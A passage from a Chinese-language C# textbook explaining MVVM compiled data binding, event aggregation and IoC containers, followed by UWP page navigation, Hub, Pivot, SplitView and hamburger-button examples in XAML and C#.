ViewModel.Book.Title, Mode=TwoWay}" /> 在后台,直接访问TextBox的Text属性,在设置TextBox时检索图书的Title属性。除了 更快之外,已编译的绑定还有一个优点:当没有使用正确的属性名时,会得到编译器错 误。在传统的数据绑定中,默认忽略绑定错误,也看不到结果。 下面看看BooksView的XAML代码。DataContext不需要用已编译的绑定设置,因为没 有使用它。相反,绑定总是直接映射到根元素。这就是为什么在WPF示例中, DataContext也设置为根元素,使绑定看起来很相似。 在UserControl定义中,需要打开更多的.NET名称空间,来映射Models名称空间中的 Book类型,还需要BooksUniversalApp.Converters名称空间中定义的一个转换器(代码文件 BooksUniversalApp / Views/ BooksView.xaml): <UserControl x:Class="BooksUniversalApp.Views.BooksView" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="using:BooksUniversalApp.Views" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:model="using:Models" xmlns:conv="using:BooksUniversalApp.Converters"> Button控件的Command属性以之前的方式绑定,但这次使用了x:Bind标记表达式: <Button Content="Load" Command="{x:Bind ViewModel.GetBooksCommand, Mode=OneTime}" /> <Button Content="Add" Command="{x:Bind ViewModel.AddBookCommand, Mode=OneTime}" />  注意: 不是使用Command属性与数据绑定,当使用已编译的数据绑定时,也 可以把事件处理程序绑定到事件上。可以把Click事件绑定到一个没有参数的void方法 上,也可以绑定到一个方法上,该方法根据Click事件的委托类型,有object和 RoutedEventArgs类型的两个参数。 在列表框中,ItemsSource的设置与前面的方式类似——使用x:Bind标记扩展。现在不 同的是绑定到SelectedItem上。如果把Binding标记表达式改为x: Bind标记表达式,会得到 一个编译器错误:没有转换器,无法绑定Models.Book和System.Object。原因是 SelectedItem是object类型,SelectedBook属性返回Book。使用一个转换器,这可以很容易 解决(代码文件BooksUniversalApp / Views/BooksView.xaml): <ListBox Grid.Row="1" ItemsSource="{x:Bind ViewModel.Books, Mode=OneTime}" SelectedItem="{x:Bind ViewModel.SelectedBook, Mode=TwoWay, Converter={StaticResource ObjectToObjectConverter}}" > <! -etc.-> </ListBox> 转换器实现了接口IValueConverter。对于双向绑定,接口IValueConverter定义了 Convert和ConvertBack方法。在这种情况下,实现可以仅返回接收到的对象(代码文件 BooksUniversalApp/Converters /ObjectToObjectConverter.cs): public class ObjectToObjectConverter: IValueConverter { public object Convert(object value, Type targetType, object parameter, string language) => value; public object ConvertBack(object value, Type targetType, object parameter, string language) => value; } 使用用户控件的资源,实例化ObjectToObjectConverter,其名称与使用前面列表框中 的StaticResource标记扩展和ItemsSource绑定来引用转换器的键相同(代码文件 BooksUniversalApp/Views/ BooksView.xaml): <UserControl.Resources> <conv:ObjectToObjectConverter x:Key="ObjectToObjectConverter" /> </UserControl.Resources> 与已编译绑定的另一个区别是数据模板。把TextBlock的Text属性绑定到Book的Title 属性上,就需要知道Book。为此,把x: DataType添加到DataTemplate元素上: <ListBox.ItemTemplate> <DataTemplate x:DataType="model:Book"> <StackPanel Orientation="Vertical"> <TextBlock Text="{x:Bind Title, Mode=OneWay}" /> </StackPanel> </DataTemplate> </ListBox.ItemTemplate> 有了已编译的数据绑定,UWP应用程序就与WPF应用程序有相同的状态。  注意: 已编译绑定也在第32和33章中使用。 31.8 使用事件传递消息 对于应用程序的当前状态,用BooksViewModel选择图书时,BookViewModel需要更 新当前的图书。为了解决这个问题,可以定义一个协定,其中一个视图模型调用另一个视 图模型。然而,这是一个小场景,应用程序的其他部分会在其他地方需要这种通知。直接 通信很快就会成为一个噩梦。 解决这个问题的一个方法是使用事件。使用Framework项目定义一个泛型 EventAggregator。这个聚合器定义了一个事件Event,其中Action<object, TEvent>类型的处 理程序可以订阅和退订,Publish方法触发事件。该聚合器实现为单实例,以便于访问,而 无须创建实例(代码文件Framework/EventAggregator.cs): public class EventAggregator<TEvent> where TEvent: EventArgs { private static EventAggregator<TEvent> s_eventAggregator; public static EventAggregator<TEvent> Instance => s_eventAggregator ? ? (s_eventAggregator = new EventAggregator<TEvent>()) ; private EventAggregator() { } public event Action<object, TEvent> Event; public void Publish(object source, TEvent ev) { Event? .Invoke(source, ev); } }  注意: 使用泛型Singleton类,不仅创建了一个实例,还为每个使用的泛型参 数类型创建了一个实例。这很适合EventAggregator,因为不同的事件类型不需要共享一 些数据,并允许获得更好的可伸缩性。 为了把书的信息从BooksViewModel传递给BooksView,只需要图书的标识符,因此 定义BookInfoEvent类(代码文件Contracts/Events/BookInfoEvent.cs): public class BookInfoEvent: EventArgs { public int BookId { get; set; } } BookViewModel现在可以订阅事件。在BookViewModel的构造函数中,访问静态的成 员Instance,获得BookInfoEvent类型的单例对象,把LoadBook事件处理程序方法分配给事 件。在处理程序方法中,带有请求ID的书通过图书服务来检索(代码文件ViewModels / BookViewModel.cs): public class BookViewModel: ViewModelBase, IDisposable { private IBooksService _booksService; public BookViewModel(IBooksService booksService) { _booksService = booksService; SaveBookCommand = new DelegateCommand(OnSaveBook); EventAggregator<BookInfoEvent>.Instance.Event += LoadBook; } public ICommand SaveBookCommand { get; } private void LoadBook(object sender, BookInfoEvent bookInfo) { if (bookInfo.BookId == 0) { Book = new Book(); } else { Book = _booksService.GetBook(bookInfo.BookId); } } public void Dispose() { EventAggregator<BookInfoEvent>.Instance.Event -= LoadBook; } // etc. 在列表框中选择一本书时触发事件,因此SelectedBook属性调用set访问器。这里,现 在可以使用静态属性Instance,通过调用Publish方法访问EventAggregator,类似于订阅, Publish方法传递BookInfoEvent对象(代码文件ViewModels / BooksViewModel.cs): private Book _selectedBook; public Book SelectedBook { get { return _selectedBook; } set { if (SetProperty(ref _selectedBook, value)) { EventAggregator<BookInfoEvent>.Instance.Publish( this, new BookInfoEvent { BookId = _selectedBook.BookId }); } } } 有了消息传递机制,可以启动应用程序,选择图书,并添加它们,如图31-11所示。 图31-11 31.9 IoC容器 使用依赖注入,还可以使用一个控制反转(IoC)容器。之前的代码片段使用依赖注 入,直接注入了客户机应用程序中的一个具体类型,例如,在BooksViewModel中的 BooksService实例(代码文件BooksDesktopApp / Views / BooksView.xaml.cs): public BooksViewModel ViewModel { get; } = new BooksViewModel((App.Current as App).BooksService); 可以改变它,让IoC容器注入依赖项。几个IoC容器提供为NuGet包,比如Castle Windsor (http://castleproject.org/projects/Windsor)、Unity (http://unity.codeplex.com)、 Autofac(http://github.com/autofac)、Managed Extensibility Framework (参见第26章) 等。在.NET Core 1.0中,还有一个来自微软的IoC容器,可通过NuGet包 Microsoft.Framework.DependencyInjection (http://github.com/aspnet/DependencyInjection) 获得。这是一个轻量级框架,支持构造函数注入和依赖注入容器,由ASP.NET Core 1.0使 用(参见第40章)。本节中的代码示例使用这个.NET Core 1.0 IoC容器。 为了使用容器,需要添加NuGet包Microsoft.Framework.DependencyInjection。在App类 中,可以把服务添加到ServiceCollection中(名称空间 Microsoft.Framework.DependencyInjection)。AddTransient方法注册一个类型,它用类型 的每一个解析进行新的实例化;AddSingleton只实例化类型一次,每次解析类型时都返回 相同的实例。传递两个泛型参数(用图书服务和图书库来完成),第一类型可以请求,容 器会创建第二个参数的实例。BuildServiceProvider方法返回一个实现了IServiceProvider的 对象,以后该对象可以用于解析类型。在WPF中,返回的IServiceProvider对象在OnStartup 方法中分配给Container方法(代码文件BooksDesktopApp / App.xaml.cs): private IServiceProvider RegisterServices() { var serviceCollection = new ServiceCollection(); serviceCollection.AddTransient<BooksViewModel>(); serviceCollection.AddTransient<BookViewModel>(); serviceCollection.AddSingleton<IBooksService, BooksService>(); serviceCollection.AddSingleton<IBooksRepository, BooksSampleRepository>(); return serviceCollection.BuildServiceProvider(); } public IServiceProvider Container { get; private set; } protected override void OnStartup(StartupEventArgs e) { base.OnStartup(e); Container = RegisterServices(); var mainWindow = new MainWindow(); mainWindow.Show(); } 在UWP项目中,方法RegisterServices和Container属性在App类中是相同的。不同的是 OnLaunched启动方法,在其中调用RegisterServices方法(代码文件BooksUniversalApp / App.xaml.cs): protected override void OnLaunched(LaunchActivatedEventArgs e) { Container = RegisterServices(); // etc. } 在视图的后台代码中,可以通过调用IServiceProvider的GetService方法,初始化 ViewModel属性。App类的Container属性返回一个IServiceProvider。GetService方法的泛型 版是一个扩展方法,可用于名称空间Microsoft.Framework.DependencyInjection,需要导入 才能使用这个扩展方法(代码文件BooksDesktopApp/Views/BooksView.xaml.cs和 BooksUniversalApp / Views / BooksView.xaml.cs): public BooksViewModel ViewModel { get; } = (App.Current as App).Container.GetService<BooksViewModel>(); BookView.xaml.cs文件需要相同的更改,否则会创建另一个BooksService实例。在可 下载的示例文件中,需要取消这个属性设置的注释,给上一个属性设置添加注释符号,使 IoC容器成为活动的容器。 现在,运行应用程序,在容器中实例化BooksViewModel。这个视图模型的构造函数 需要IBooksService类型,创建并传递BooksService实例,因为这些类型也使用容器来注 册。BooksService在构造函数中需要IBooksRepository。这里注入BooksSampleRepository。 如果没有注册这些依赖项,就抛出一个InvalidOperationException类型的异常。注册 IBooksRepository接口失败,会给出错误消息:试图激活Services.BooksService时,无法解 析Contracts.IBooksRepository类型的服务。 31.10 使用框架 在示例应用程序中,看到Framework项目中定义的类,例如,BindableBase、 DelegateCommand和EventAggregator。基于MVVM的应用程序需要这些类,但不需要自己 来实现它们。其工作量不大,但可以使用现有的MVVM框架。Laurent Bugnion的MVVM Light(http://mvvmlight.net)是一个小框架,完全符合MVVM应用程序的目的,可用于许 多不同的平台。 另一个框架Prism.Core(http://github.com/PrismLibrary)最初由Microsoft Patterns and Practices团队创建,现在转移到社区。虽然Prism框架非常成熟,支持插件和定位控件的区 域,但Prism.Core,很轻,仅包含几个类型,如BindableBase、DelegateCommand和 ErrorsContainer。在本章的下载代码中,也包含用Prism.Core实现的本章示例。 31.11 小结 本章围绕MVVM模式提供了创建基于XAML的应用程序的架构指南。讨论了模型、 视图和视图模型的关注点分离。除此之外,还介绍了使用接口INotifyPropertyChanged实现 更改通知、数据绑定和已编译的数据绑定,分离数据访问代码的存储库模式,使用事件在 视图模型之间传递消息(这也可以用来与视图通信),以及使用或不使用IoC容器注入依 赖项。 这些都允许代码共享,同时仍然允许使用特定平台的功能。可以通过库和服务实现使 用特定于平台的特征,协定可用于所有的平台。为了共享代码,介绍了用于UWP的API协 定、共享的项目和移动库。 第32章将讨论Universal Windows Platform应用程序的用户界面特性。 第32章 Windows应用程序:用户界面 本章要点 ● 页面之间导航 ● 创建一个汉堡按钮 ● 使用SplitView ● 用RelativePanel布局 ● 不同屏幕尺寸的自适应用户界面 ● 使用AutoSuggest控件 ● 使用Pen和InkCanvas ● 用应用程序栏控件定义命令 ● 已编译的绑定功能 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章的代码只包含一个大示例,它展示了本章的各个方面: ● Page Navigation ● App Shell ● Layout ● Controls ● Compiled Binding 32.1 概述 本章介绍的Windows应用程序使用通用Windows平台(UWP)运行在Windows 10设备 上。本章涵盖了用户界面特性,如页面之间的导航,创建页面布局,定义命令,允许用户 执行一些操作,使用新的编译数据绑定,使用一些特殊的控件。 前面的章节介绍了XAML:第29章介绍了核心信息,第30章定义了应用程序的样式, 第31章讨论了基于XAML的应用程序常用的几个模式。 本章首先讨论Windows应用程序中用户界面元素的一个相关话题:使用UWP。为 UWP创建的应用程序可以运行在Windows 10、Windows Phone和其他设备系列上,例如 Xbox、HoloLens和物联网(IoT)。 本章创建页面之间的导航,使用新的系统后退按钮、汉堡按钮和SplitView,使导航 控件适应不同的屏幕尺寸。本章介绍了主页面的不同类型,如Hub和Pivot控件,允许进行 不同的导航,本章也解释了如何创建自定义的应用程序shell。 本章探讨如何使用VariableSizedWrapGrid、RelativePanel和自适应触发器创建单个页 面的布局。延迟加载允许更快地显示用户界面。 使用已编译的绑定,会获得另一个性能改进,帮助更早地检测出错误。 在“控件”一节,将论述一些新的控件,比如AutoSuggest控件和InkCanvas,它便于使 用笔、触摸屏和鼠标绘图。 在阅读本章之前,你应该熟悉第29、30、31章讨论的XAML。本章只包含具体的 UWP应用程序功能。 32.2 导航 如果应用程序是由多个页面组成的,就需要能在这些页面之间导航。导航的核心是 Frame类。Frame类允许使用Navigate方法,选择性地传递参数,导航到具体的页面上。 Frame类有一个要导航的页面堆栈,因此可以后退、前进,限制堆栈中页面的数量等。 导航的一个重要方面是能够返回。在Windows 8中,回航通常是由页面左上角一个带 有返回箭头的按钮处理。Windows Phone总是有一个物理返回键。在Windows 10中,此功 能需要合并。下面几节介绍了使用回航的新方法。 32.2.1 导航回最初的页面 下面开始创建一个有多个页面的Windows应用程序,在页面之间导航。模板生成的代 码在App类中包含OnLaunched方法,在该方法中,实例化一个Frame对象,再调用 Navigate方法,导航到MainPage (代码文件PageNavigation / App.xaml.cs): protected override void OnLaunched(LaunchActivatedEventArgs e) { Frame rootFrame = Window.Current.Content as Frame; if (rootFrame == null) { rootFrame = new Frame(); rootFrame.NavigationFailed += OnNavigationFailed; if (e.PreviousExecutionState == ApplicationExecutionState.Terminated) { //TODO: Load state from previously suspended application } Window.Current.Content = rootFrame; } if (rootFrame.Content == null) { rootFrame.Navigate(typeof(MainPage), e.Arguments); } Window.Current.Activate(); }  注意: 源代码有一个TODO注释,从前面暂停的应用程序中加载状态。如何 处理暂停在第33章中解释。 Frame类有一个已访问的页面堆栈。GoBack方法可以在这个堆栈中回航(如果 CanGoBack属性返回true), GoForward方法可以在后退后前进到下一页。Frame类还提供 了几个导航事件,如Navigating、Navigated、NavigationFailed和NavigationStopped。 为了查看导航操作,除了MainPage之外,还创建SecondPage和ThirdPage页面,在这 些页面之间导航。在MainPage上,可以导航到SecondPage,通过传递一些数据可以从 SecondPage导航到ThirdPage。 因为有这些页面之间的通用功能,所以创建一个基类BasePage,所有这些页面都派生 自它。BasePage类派生自基类Page,实现了接口INotifyPropertyChanged,用于更新用户界 面。 public abstract class BasePage : Page, INotifyPropertyChanged { public event PropertyChangedEventHandler PropertyChanged; private string _navigationMode; public string NavigationMode { get { return _navigationMode; } set { _navigationMode = value; OnPropertyChanged(); } } protected virtual void OnPropertyChanged( [CallerMemberName] string propertyName = null) { PropertyChanged? .Invoke(this, new PropertyChangedEventArgs(propertyName) ); } // etc. }  注意: 接口INotifyPropertyChanged参见第31章,它用于实现变更通知。 32.2.2 重写Page类的导航 Page类是BasePage的基类(也是XAML页的基类),该类定义了用于导航的方法。当 导航到相应的页面时,会调用OnNavigatedTo方法。在这个页面中,可以看到导航是怎样 操作的(NavigationMode属性)和导航参数。OnNavigatingFrom方法是从页面中退出时调 用的第一个方法。在这里,导航可以取消。从这个页面中退出时,最终调用的是 OnNavigatedFrom方法。在这里,应该清理OnNavigatedTo方法分配的资源(代码文件 PageNavigation / App.xaml.cs): public abstract class BasePage : Page, INotifyPropertyChanged { // etc. protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); NavigationMode = $"Navigation Mode: {e.NavigationMode}"; // etc. } protected override void OnNavigatingFrom(NavigatingCancelEventArgs e) { base.OnNavigatingFrom(e); } protected override void OnNavigatedFrom(NavigationEventArgs e) { base.OnNavigatedFrom(e); // etc. } } 32.2.3 在页面之间导航 下面实现3个页面。为了使用BasePage类,后台代码文件需要修改,以使用BasePage 作为基类(代码文件PageNavigation / MainPage.xaml.cs): public sealed partial class MainPage : BasePage { // etc. } 基类的变化也需要反映在XAML文件中:使用BasePage元素代替Page (代码文件 PageNavigation/ MainPage.xaml): <local:BasePage x:Class="PageNavigation.MainPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="using:PageNavigation" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d"> MainPage包含一个TextBlock元素和一个Button控件,TextBlock元素绑定到BasePage 中声明的NavigationMode属性上,按钮的Click事件绑定到OnNavigateToSecondPage方法上 (代码文件PageNavigation / MainPage.xaml): <StackPanel Orientation="Vertical"> <TextBlock Style="{StaticResource TitleTextBlockStyle}" Margin="8"> Main Page</TextBlock> <TextBlock Text="{x:Bind NavigationMode, Mode=OneWay}" Margin="8" /> <Button Content="Navigate to SecondPage" Click="OnNavigateToSecondPage" Margin="8" /> </StackPanel> 处理程序方法OnNavigateToSecondPage使用Frame.Navigate导航到SecondPage。Frame 是Page类上返回Frame实例的一个属性(代码文件PageNavigation / MainPage.xaml.cs): public void OnNavigateToSecondPage() { Frame.Navigate(typeof(SecondPage)); } 当从SecondPage导航到ThirdPage时,把一个参数传递给目标页面。参数可以在绑定 到Data属性的文本框中输入(代码文件PageNavigation /SecondPage.xaml): <StackPanel Orientation="Vertical"> <TextBlock Style="{StaticResource TitleTextBlockStyle}" Margin="8"> Second Page</TextBlock> <TextBlock Text="{x:Bind NavigationMode, Mode=OneWay}" Margin="8" /> <TextBox Header="Data" Text="{x:Bind Data, Mode=TwoWay}" Margin="8" /> <Button Content="Navigate to Third Page" Click="{x:Bind OnNavigateToThirdPage, Mode=OneTime}" Margin="8" /> </StackPanel> 在后台代码文件中,Data属性传递给Navigate方法(代码文件PageNavigation /SecondPage.xaml.cs): public string Data { get; set; } public void OnNavigateToThirdPage() { Frame.Navigate(typeof(ThirdPage), Data); } 接收到的参数在ThirdPage中检索。在OnNavigatedTo方法中,NavigationEventArgs用 Parameter属性接收参数。Parameter属性是object类型,可以给页面导航传递任何数据(代 码文件PageNavigation/ ThirdPage.xaml.cs): protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); Data = e.Parameter as string; } private string _data; public string Data { get { return _data; } set { _data = value; OnPropertyChanged(); } } 32.2.4 后退按钮 当应用程序中有导航要求时,必须包括返回的方式。在Windows 8中,定制的后退按 钮位于页面的左上角。在Windows 10中仍然可以这样做。的确,一些微软应用程序包括 这样一个按钮,Microsoft Edge在左上角放置了后退和前进按钮。应在前进按钮的附近放 置后退按钮。在Windows10中,可以利用系统的后退按钮。 根据应用程序运行在桌面模式还是平板电脑模式,后退按钮位于不同的地方。要启用 这个后退按钮,需要把SystemNavigationManager的AppViewBackButtonVisibility设置为 AppViewBackButton-Visibility,在下面的代码中,Frame.CanGoBack属性返回true时,就 是这种情况(代码文件PageNavigation / BasePage.cs): protected override void OnNavigatedTo(NavigationEventArgs e) { NavigationMode = $"Navigation Mode: {e.NavigationMode}"; SystemNavigationManager.GetForCurrentView().AppViewBackButtonVisibility = Frame.CanGoBack ? AppViewBackButtonVisibility.Visible : AppViewBackButtonVisibility.Collapsed; base.OnNavigatedTo(e); } 接下来,使用SystemNavigationManager类的BackRequested事件。对 BackRequestedEvent的响应可以用于完整的应用程序,如这里所示。如果只在几页上需要 这个功能,还可以把这段代码放在页面的OnNavigatedTo方法中(代码文件PageNavigation / App.xaml.cs): protected override void OnLaunched(LaunchActivatedEventArgs e) { // etc. SystemNavigationManager.GetForCurrentView().BackRequested += App_BackRequested; Window.Current.Activate(); } 处理程序方法App_BackRequested在frame对象上调用GoBack方法(代码文件 PageNavigation /App.xaml.cs): private void App_BackRequested(object sender, BackRequestedEventArgs e) { Frame rootFrame = Window.Current.Content as Frame; if (rootFrame == null) return; if (rootFrame.CanGoBack && e.Handled == false) { e.Handled = true; rootFrame.GoBack(); } } 当在桌面模式中运行这个应用程序时,可以看到后退按钮位于上边界的左边角落里 (见图32-1)。如果应用程序在平板模式下运行,边界是不可见的,但后退按钮显示在底 部边界Windows按钮的旁边(见图32-2)。这是应用程序的新后退按钮。如果应用程序不 能导航,用户按下后退按钮,就导航回以前的应用程序。 图32-1 图32-2 在Windows Phone上运行应用程序时,就可以使用实际电话的按钮来返回(参见图32- 3)。 图32-3 32.2.5 Hub 也可以让用户使用Hub控件在单个页面的内容之间导航。这里可以使用的一个例子 是,希望显示一个图像,作为应用程序的入口点,用户滚动时显示更多的信息(参见图 32-4的照片搜索应用程序)。 图32-4 使用Hub控件,可以定义多个部分。每个部分有标题和内容。也可以让标题可以单 击,例如,导航到详细信息页面上。以下代码示例定义了一个Hub控件,在其中可以单击 部分2和3的标题。单击某部分的标题时,就调用Hub控件的SectionHeaderClick事件指定的 方法。每个部分都包括一个标题和一些内容。部分的内容由DataTemplate定义(代码文件 NavigationControls / HubPage.xaml): <Hub Background="{ThemeResource ApplicationPageBackgroundThemeBrush}" SectionHeaderClick="{x:Bind OnHeaderClick}"> <Hub.Header> <StackPanel Orientation="Horizontal"> <TextBlock>Hub Header</TextBlock> <TextBlock Text="{x:Bind Info, Mode=TwoWay}" /> </StackPanel> </Hub.Header> <HubSection Width="400" Background="LightBlue" Tag="Section 1"> <HubSection.Header> <TextBlock>Section 1 Header</TextBlock> </HubSection.Header> <DataTemplate> <TextBlock>Section 1</TextBlock> </DataTemplate> </HubSection> <HubSection Width="300" Background="LightGreen" IsHeaderInteractive="True" Tag="Section 2"> <HubSection.Header> <TextBlock>Section 2 Header</TextBlock> </HubSection.Header> <DataTemplate> <TextBlock>Section 2</TextBlock> </DataTemplate> </HubSection> <HubSection Width="300" Background="LightGoldenrodYellow" IsHeaderInteractive="True" Tag="Section 3"> <HubSection.Header> <TextBlock>Section 3 Header</TextBlock> </HubSection.Header> <DataTemplate> <TextBlock>Section 3</TextBlock> </DataTemplate> </HubSection> </Hub> 单击标题部分时,Info依赖属性就指定Tag属性的值。Info属性绑定在Hub控件的标题 上(代码文件NavigationControls /HubPage.xaml.cs): public void OnHeaderClick(object sender, HubSectionHeaderClickEventArgs e) { Info = e.Section.Tag as string; } public string Info { get { return (string)GetValue(InfoProperty); } set { SetValue(InfoProperty, value); } } public static readonly DependencyProperty InfoProperty = DependencyProperty.Register("Info", typeof(string), typeof(HubPage), new PropertyMetadata(string.Empty));  注意: 依赖属性参见第29章。 运行这个应用程序时,可以看到多个hub部分(参见图32-5),在部分2和3上有See More链接,因为在这些部分中,IsHeaderInteractive设置为true。当然,可以创建一个定制 的标题模板,给标题指定不同的外观。 图32-5  注意: 创建自定义模板参见第30章。 32.2.6 Pivot 使用Pivot控件可以为导航创建类似枢轴的外观。在Windows 8中,这个控件只用于手 机,但是现在它也可用于UWP。 Pivot控件可以包含多个PivotItem控件。每个PivotItem控件都有一个标题和内容。 Pivot本身包含左、右标题。示例代码填充了右标题(代码文件NavigationControls / PivotPage.xaml): <Pivot Title="Pivot Sample" Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"> <Pivot.RightHeader> <StackPanel> <TextBlock>Right Header</TextBlock> </StackPanel> </Pivot.RightHeader> <PivotItem> <PivotItem.Header>Header Pivot 1</PivotItem.Header> <TextBlock>Pivot 1 Content</TextBlock> </PivotItem> <PivotItem> <PivotItem.Header>Header Pivot 2</PivotItem.Header> <TextBlock>Pivot 2 Content</TextBlock> </PivotItem> <PivotItem> <PivotItem.Header>Header Pivot 3</PivotItem.Header> <TextBlock>Pivot 3 Content</TextBlock> </PivotItem> <PivotItem> <PivotItem.Header>Header Pivot 4</PivotItem.Header> <TextBlock>Pivot 4 Content</TextBlock> </PivotItem> </Pivot> 运行应用程序时,可以看到Pivot控件(参见图32-6)。右标题在右边总是可见。单击 一个标题,可以查看项的内容。 图32-6 如果所有标题不符合屏幕的大小,用户就可以滚动。使用鼠标进行导航,可以看到左 右边的箭头,如图32-7所示。 图32-7 32.2.7 应用程序shell Windows 10应用程序经常使用SplitView控件。这个控件通常用于在左边显示导航菜 单(由图像和/或文本组成),在右边显示选择的内容。使用汉堡按钮,可以显示或隐藏 菜单。例如,Groove Music应用程序的外观取决于可用的宽度。图32-8中的应用程序在左 边的SplitView窗格中显示使用文本和图标的菜单。当显示宽度降低时,SplitView窗格显 示只有图标的收缩视图,如图32-9所示。当宽度减少了更多时,就完全删除菜单,如图 32-10所示。 图32-8 图32-9 图32-10 示例应用程序使用SplitView和汉堡按钮,添加了更多的功能。当使用菜单在多个页 面之间导航时,最好使菜单可用于所有页面。导航使用Frame类的方法工作,如本章前面 的“导航”一节所述。可以创建一个页面,把它作为应用程序shell,再在SplitView的内容中 添加一个Frame。AppShellSample应用程序演示了如何做到这一点。 在模板生成的代码中,在App类的OnLaunched方法中创建一个Frame对象,该Frame导 航到MainPage。这段代码更改为创建一个AppShell,并在AppShell(shell.AppFrame)中 使用Frame,导航到MainPage(代码文件AppShellSample / App.xaml.cs): protected override void OnLaunched(LaunchActivatedEventArgs e) { AppShell shell = Window.Current.Content as AppShell; if (shell == null) { shell = new AppShell(); shell.Language = ApplicationLanguages.Languages[0]; shell.AppFrame.NavigationFailed += OnNavigationFailed; if (e.PreviousExecutionState == ApplicationExecutionState.Terminated) { //TODO: Load state from previously suspended application } } Window.Current.Content = shell; if (shell.AppFrame.Content == null) { shell.AppFrame.Navigate(typeof(MainPage), e.Arguments, new SuppressNavigationTransitionInfo()); } Window.Current.Activate(); } 应用程序的创建与其他XAML页面一样,也使用Blank Page Visual Studio项模板。为 了向应用程序shell添加一个frame,应添加一个SplitView控件,再在SplitView的内容中添 加一个Frame元素。有了Frame,再给页面的事件处理程序分配Navigating和Navigated事件 (代码文件AppShellSample/ AppShell.xaml): <SplitView x:Name="RootSplitView" DisplayMode="Inline" OpenPaneLength="256" IsTabStop="False"> <SplitView.Pane> <! -- pane content comes here --> </SplitView.Pane> <Frame x:Name="frame" Navigating="OnNavigatingToPage" Navigated="OnNavigatedToPage"> <Frame.ContentTransitions> <TransitionCollection> <NavigationThemeTransition> <NavigationThemeTransition.DefaultNavigationTransitionInfo> <EntranceNavigationTransitionInfo/> </NavigationThemeTransition.DefaultNavigationTransitionInfo> </NavigationThemeTransition> </TransitionCollection> </Frame.ContentTransitions> </Frame> </SplitView>  注意: 有了Frame,就定义一个ContentTransition,使用一个 EntraceNavigation-TransitionInfo在Frame中连续改变内容。动画参见第30章。 要使用AppShell类访问SplitView中的Frame对象,添加一个AppFrame属性和处理程序 方法,用于Frame导航(代码文件AppShellSample / AppShell.xaml.cs): public Frame AppFrame => frame; private void OnNavigatingToPage(object sender, NavigatingCancelEventArgs e) { } private void OnNavigatedToPage(object sender, NavigationEventArgs e) { } 32.2.8 汉堡按钮 为了打开和关闭SplitView面板,通常要使用一个汉堡按钮。汉堡按钮在应用程序 Shell中定义。这个按钮在根网格内定义为ToggleButton。其样式设置为定义外观的资源 SplitViewTogglePaneButton-Style。单击该按钮,更改绑定到SplitView控件(下面定义)的 IsChecked属性值。这个绑定打开和关闭SplitView的窗格(代码文件AppShellSample / AppShell.xaml): <ToggleButton x:Name="TogglePaneButton" TabIndex="1" Style="{StaticResource SplitViewTogglePaneButtonStyle}" IsChecked="{x:Bind Path=RootSplitView.IsPaneOpen, Mode=TwoWay, Converter={StaticResource boolConverter}}" Unchecked="HamburgerMenu_UnChecked" AutomationProperties.Name="Menu" ToolTipService.ToolTip="Menu" /> 汉堡按钮的外观主要使用字体Segoe MDL2 Assets的字符0xe700来定义。这个字体在 资源SymbolThemeFontFamily中引用(代码文件AppShellSample/Styles/Styles.xaml): <Style x:Key="SplitViewTogglePaneButtonStyle" TargetType="ToggleButton"> <Setter Property="FontSize" Value="20" /> <Setter Property="FontFamily" Value="{ThemeResource SymbolThemeFontFamily}" /> <Setter Property="Background" Value="Transparent" /> <Setter Property="Foreground" Value= "{ThemeResource SystemControlForegroundBaseHighBrush}" /> <Setter Property="Content" Value="&#xE700; " /> <! -- etc. -->  注意: 为了查看Segoe MDL2 Assets字体的所有符号及其字符号,最好使用 Character Map桌面应用程序,如图32-11所示。 图32-11 应用程序的汉堡按钮如图32-12所示。 图32-12 32.2.9 分隔视图 汉堡按钮控制SplitView控件的开启和关闭。下面进入SplitView的细节。打开窗格 时,SplitView的OpenPaneLength属性定义了面板的大小。DisplayMode属性有4种不同的模 式:Inline、Overlay、CompactInline和CompactOverlay。Inline和Overlay模式之间的区别 是,打开面板会覆盖SplitView(帧)的内容,或向右移动内容,给窗格腾出空间。紧凑 模式有较小的窗格;例如,它们只显示图标,而不显示菜单的文本。 在AppShell的XAML代码中,定义SplitView时,OpenPaneLength是256, DisplayMode 是Inline (代码文件AppShellSample / AppShell.xaml): <SplitView x:Name="RootSplitView" DisplayMode="Inline" OpenPaneLength="256" IsTabStop="False"> <SplitView.Pane> <! -- etc. --> </SplitView.Pane> <Frame x:Name="frame" Navigating="OnNavigatingToPage" Navigated="OnNavigatedToPage"> <Frame.ContentTransitions> <TransitionCollection> <NavigationThemeTransition> <NavigationThemeTransition.DefaultNavigationTransitionInfo> <EntranceNavigationTransitionInfo/> </NavigationThemeTransition.DefaultNavigationTransitionInfo> </NavigationThemeTransition> </TransitionCollection> </Frame.ContentTransitions> </Frame> </SplitView> 为了打开和关闭SplitView的面板,可以设置IsPaneOpen属性。单击汉堡按钮时,面板 应打开和关闭,以便使用数据绑定,把汉堡按钮连接到SplitView上。IsPaneOpen属性的类 型是bool, ToggleButton的IsChecked属性是bool?类型,所以需要bool和bool?之间的转换 器(代码文件AppShellSample / Converters / BoolToNullableBoolConverter): public class BoolToNullableBoolConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, string language) => value; public object ConvertBack(object value, Type targetType, object parameter, string language) { bool defaultValue = false; if (parameter ! = null) { defaultValue = (bool)parameter; } bool? val = (bool?)value; return val ? ? defaultValue; } }  注意: 数据绑定参见第31章。已编译的数据绑定是UWP的一个功能,参见本 章后面的“数据绑定”一节。 BoolToNullableBoolConverter用页面的资源实例化(代码文件AppShellSample / AppShell.xaml): <Page.Resources> <conv:BoolToNullableBoolConverter x:Key="boolConverter" /> </Page.Resources> 使用ToggleButton,把IsChecked属性绑定到SplitView的IsPaneOpen上,并使用引用为 一个静态资源的BoolToNullableBoolConverter。 <ToggleButton x:Name="TogglePaneButton" TabIndex="1" Style="{StaticResource 